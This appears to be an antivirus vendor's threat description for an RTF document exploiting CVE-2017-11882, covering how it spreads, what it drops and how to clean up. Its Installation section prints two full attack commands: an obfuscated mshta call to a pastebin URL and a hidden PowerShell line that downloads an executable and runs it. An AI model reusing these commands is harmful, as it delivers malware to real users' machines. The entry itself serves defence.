Trojan.W97M.CVE201711882.THOBHAI


 ALIASES:

Exp.CVE-2017-11882!g2(NORTON), RTF:Obfuscated-gen [Trj](AVAST)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Exploit

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware, Spammed via email

This Exploit arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It takes advantage of software vulnerabilities to allow a remote user or malware/grayware to download files.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

440,043 bytes

File Type:

RTF

Memory Resident:

No

Initial Samples Received Date:

25 Jan 2019

Payload:

Connects to URLs/IPs, Downloads files

Arrival Details

This Exploit arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Exploit adds the following processes:

  • cMd /C mS^Ht^a ht^tp^s:^/^/pastebin.com/raw/KaRJhyiv
  • %System%\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('https://my.mixtape.moe/ophpqq.htaa',$env:Temp+'\KRQVHK.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\KRQVHK.Exe')

Download Routine

This Exploit connects to the following website(s) to download and execute a malicious file:

  • https://pastebin.com/raw/{BLOCKED}iv - downloads a script and run using mshta.exe
  • https://my.{BLOCKED}e.moe/ophpqq.htaa - Downloads files

It takes advantage of the following software vulnerabilities to allow a remote user or malware/grayware to download files:

It saves the files it downloads using the following names:

  • %User Temp%\KRQVHK.Exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

Other Details

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.778.03

FIRST VSAPI PATTERN DATE:

28 Jan 2019

VSAPI OPR PATTERN File:

14.779.00

VSAPI OPR PATTERN Date:

29 Jan 2019

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %User Temp%\KRQVHK.Exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.CVE201711882.THOBHAI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 5

Download and apply these security patches Refrain from using these products until the appropriate patches have been installed. Trend Micro advises users to download critical patches upon release by vendors.


Did this description help? Tell us how we did.